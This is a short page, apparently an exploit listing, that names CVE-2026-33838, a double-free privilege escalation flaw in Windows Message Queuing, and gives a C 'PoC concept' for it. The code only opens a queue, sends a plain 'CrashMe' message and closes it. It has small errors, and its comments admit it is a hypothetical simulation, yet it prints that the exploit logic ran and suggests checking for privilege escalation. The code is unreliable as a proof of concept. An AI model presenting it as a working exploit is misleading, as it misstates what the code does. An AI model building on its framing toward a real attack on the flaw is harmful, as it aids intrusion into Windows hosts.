CVE-2026-33838 Windows消息队列双重释放权限提升漏洞

/* * PoC Concept for CVE-2026-33838 * This is a simulation of the trigger logic for Double Free in MSMQ. * Requires running in an environment with MSMQ installed. */ #include <windows.h> #include <mq.h> void TriggerVulnerability() { HANDLE hQueue = NULL; WCHAR *queueName = L".\\PRIVATE$\\TestQueue"; // Attempt to open or create a queue if (MQOpenQueue(queueName, MQ_SEND_ACCESS, MQ_DENY_NONE, &hQueue) != MQ_OK) { printf("Failed to open queue. Ensure MSMQ is running.\n"); return; } // Simulate the specific sequence of operations that lead to Double Free // In a real scenario, this involves malformed message properties or handle manipulation printf("[+] Queue handle obtained: 0x%p\n", hQueue); // Hypothetical malformed message structure MQMSGPROPS msgProps; MSGPROPID aPropId[1]; MQPROPVARIANT aPropVar[1]; DWORD cProp = 1; aPropId[0] = PROPID_M_LABEL; aPropVar[0].vt = VT_LPWSTR; aPropVar[0].pwszVal = L"CrashMe"; msgProps.cProp = cProp; msgProps.aPropID = aPropId; msgProps.aPropVar = aPropVar; msgProps.aStatus = NULL; // Sending the message to trigger the corruption if (MQSendMessage(hQueue, &msgProps, NULL) != MQ_OK) { printf("Failed to send message.\n"); } // Cleanup operations that might trigger the double free MQCloseQueue(hQueue); printf("[!] Exploit logic executed. Check for crash or privilege escalation.\n"); } int main() { printf("CVE-2026-33838 PoC Trigger\n"); TriggerVulnerability(); return 0; }